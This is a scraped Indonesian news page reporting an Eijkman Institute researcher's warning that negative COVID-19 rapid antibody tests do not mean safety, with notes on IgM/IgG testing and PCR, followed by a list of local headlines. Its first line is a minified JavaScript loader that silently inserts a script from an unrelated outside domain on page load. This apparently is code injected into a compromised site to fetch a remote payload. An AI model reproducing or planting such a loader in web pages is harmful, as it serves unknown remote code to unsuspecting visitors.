(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Rapid Test Corona, Eijkman: Hasil Negatif Belum Berarti Aman


KANALKALIMANTAN.COM, JAKARTA – Wakil Kepala Bidang Penelitian Fundamental Lembaga Biologi Molekular (LBM) Eijkman Institute, Herawati Sudoyo, mengatakan hasil tes cepat (rapid test) Virus Corona atau COVID-19 negatif belum berarti aman.

“Perlu diperhatikan bahwa tes negatif belum berarti aman,” kata Hera, Jumat (20/3/2020).

Hera menjelaskan, tes deteksi antibodi menggunakan spesimen darah tidak menentukan adanya virus. Tetapi menggambarkan pemaparan manusia terhadap virus melalui pengukuran IgM/IgG. Sampai saat ini, dia menerangkan, jenis tes semacam itu baru dikembangkan. “Dan belum ada yang memiliki sensitivitas dan spesifitas tinggi.”

Menurut Hera, hasil positif virus Corona pada tes tersebut dapat terjadi bila bereaksi silang dengan virus lain. Sedangkan hasil negatif dapat terjadi bila antibodi belum terbentuk. Untuk dapat digunakan pada publik tes cepat Corona perlu divalidasi terlebih dulu di beberapa laboratorium baik lembaga penelitian maupun pendidikan yang sering melakukan validasi tes baru.

Dalam keadaan pandemi Corona, menurut Hera, tes diagnostik yang direkomendasikan adalah tes molekuler materi genetik virus. Hera mengungkapkan alasannya. “Virus SarsCoV-2 ini adalah virus yang baru dikenal dan belum diketahui secara pasti karakteristiknya dan masih terus bermutasi.”

Presiden Joko Widodo atau Jokowi menginstruksikan dilakukan rapid test Virus Corona untuk identifikasi massal karena penularan infeksi virus Corona. Juru bicara pemerintah untuk penanggulangan virus corona, Achmad Yurianto, mengatakan rapid test ini hanya membutuhkan sampel darah.

Kelebihannya dibandingkan uji reaksi berantai polimerasi (PCR) yang standar adalah tes cepat ini tidak membutuhkan sarana pemeriksaan laboratorium pada bio security level 2. “Hal ini berarti tes bisa dilaksanakan hampir di semua laboratorium kesehatan yang ada di rumah sakit yang ada di Indonesia,” ucap Yurianto.(tempo)

 

 

Editor : Tempo

 


Desy Arfianty

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

1 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

6 jam ago

This website uses cookies.